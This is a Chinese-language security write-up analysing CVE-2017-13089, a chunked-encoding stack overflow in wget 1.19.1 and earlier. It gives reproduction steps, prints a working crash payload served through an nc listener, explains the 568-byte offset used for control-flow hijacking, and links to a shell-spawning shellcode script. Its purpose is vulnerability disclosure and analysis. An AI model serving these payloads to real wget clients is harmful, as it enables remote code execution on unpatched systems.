作者:k2yk@昊天實驗室

0x00 前情提要

在 2017 年 11 月 12 日 NVD公布了關于 wget 的多個漏洞的情報,這里做一個wget緩沖區溢出漏洞的分析。在 wget 版本小于1.19.2 的情況下,wget 在處理重定向時,會調用 http.c:skip_short_body()函數, 解析器在解析塊時會使用strtol() 函數讀取每個塊的長度,但不檢查塊長度是否為非負數。解析器試圖通過使用MIN()函數跳過塊的前512個字節,最終傳遞參數到connect.c:fd_read()中。由于fd_read()僅會接受一個int參數,在攻擊者試圖放入一個負參數時,塊長度的高32位被丟棄,使攻擊者可以控制fd_read()中的長度參數,產生整形緩沖區溢出漏洞。

影響范圍

影響版本為:wget <=1.19.1 影響系統范圍如下:

Ubuntu Ubuntu Linux 17.10  
Ubuntu Ubuntu Linux 17.04  
Ubuntu Ubuntu Linux 16.04 LTS  
Ubuntu Ubuntu Linux 14.04 LTS  
Redhat Virtualization Host 4  
Redhat Enterprise Linux Workstation 7  
Redhat Enterprise Linux Server for ARM 7  
Redhat Enterprise Linux Server - TUS 7.4  
Redhat Enterprise Linux Server - Extended Update Support 7.4  
Redhat Enterprise Linux Server - AUS 7.4  
Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4  
Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4  
Redhat Enterprise Linux for Scientific Computing 7  
Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4  
Redhat Enterprise Linux for Power, little endian 7  
Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4  
Redhat Enterprise Linux for Power, big endian 7  
Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4  
Redhat Enterprise Linux for IBM z Systems 7  
Redhat Enterprise Linux EUS Compute Node 7.4  
Redhat Enterprise Linux Desktop 7  
Redhat Enterprise Linux 7  
GNU wget 0  

在實際測試過程中,這個漏洞會因為某些系統修改過wget而導致無法復現。

0x01 漏洞分析

環境復現

現在本地搭建一個漏洞復現環境,漏洞復現過程這里推薦兩個方案,一個是漏洞發現作者在git 上進行發布的dockerfile ,另外一個是自己進行編譯的版本。 * CVE-2017-13089 的git 環境地址 https://github.com/r1b/CVE-2017-13089 * 使用方法

# Build the container
docker build -t cve201713089 .  
# OR ...
docker pull robertcolejensen/cve201713089

# Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src`
./run.sh

# Run the included DoS PoC
./run.sh dos

# Run the included exploit PoC (wip)
./run.sh exploit

其次就是通過自己編譯進行復現

 # 獲取wget
 wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz

 # 解壓
 tar zxvf wget-1.19.1.tar.gz

 #進入目錄
 cd wget-1.19.1

 #編譯
 ./configure
 make 

 cd src 

 驗證
 nc -lp 6666 < payload & ./wget localhost:6666

下方為payload 文件:

HTTP/1.1 401 Not Authorized  
Content-Type: text/plain; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive

-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
0  
漏洞復現

下圖為復現過程

分析

利用分析工具以及payload的相關特性,

我們根據分析工具的分析結果,除卻引發漏洞的異常拋出外,我們發現了一個特別的函數skip_short_body

static bool skip_short_body (int fd, wgint contlen, bool chunked)  
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));
  return true;
}

根據這段代碼邏輯,我們可以簡單的理出一個簡單的代碼邏輯。 wget 在檢測 short_body 的時候 先要檢測出傳輸的塊的大小,假若傳入的塊的大小的值不大于 4096 則進入進入這個漏洞的受害邏輯內。

if (contlen > SKIP_THRESHOLD)  
return false;

while (contlen > 0 || chunked)  
{
  int ret;
  if (chunked)
    {
      if (remaining_chunk_size == 0)
        {
          char *line = fd_read_line (fd);
          char *endl;
          if (line == NULL)
            break;

          remaining_chunk_size = strtol (line, &endl, 16);
          xfree (line);

          if (remaining_chunk_size == 0)
            {
              line = fd_read_line (fd);
              xfree (line);
              break;
            }
        }

  contlen = MIN (remaining_chunk_size, SKIP_SIZE);
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);  

從這段代碼中分析出,contlen = MIN (remaining_chunk_size, SKIP_SIZE); 只需小于512時,contlen 可控,綜合上述代碼邏輯,可以得出remaining_chunk_size 位負值時,contlen為可控向量。在后面的代碼邏輯中,fd_read() 使用了該受控制的向量,引發了緩沖區溢出漏洞。

int  
fd_read (int fd, char *buf, int bufsize, double timeout)  
{
  struct transport_info *info;
  LAZY_RETRIEVE_INFO (info);
  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
    return -1;
  if (info && info->imp->reader)
    return info->imp->reader (fd, buf, bufsize, info->ctx);
  else
    return sock_read (fd, buf, bufsize);
}

我們可以看到在利用GDB進行調試的情況下,成功控制了利用溢出成功劫持了下一步執行的地址。

進入棧執行

利用成功演示

EXP 構造

EXP的構造主要有2個要點:

  • 第一 棧的定位
  • 第二 偏移量

偏移量這個點,根據寫入棧的地址以及控制返回的棧地址我們可以得出,能夠控制 RBP 的地址在寫入棧的地址后的568位。因此,我們在構造EXP時,將即將控制棧的地址在shellcode 的568位后寫入,即可實現對指針的控制。

0x02 POC

ShellCode生成腳本:https://github.com/mzeyong/CVE-2017-13089

使用方式:python shellcode.py & nc -lp 80 < payload

該 ShellCode會在目標機器開啟一個新的 shell,無其他危害,僅為演示證明漏洞存在。如果有小伙伴對通用型exp構造有興趣可以一起交流!!!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/453/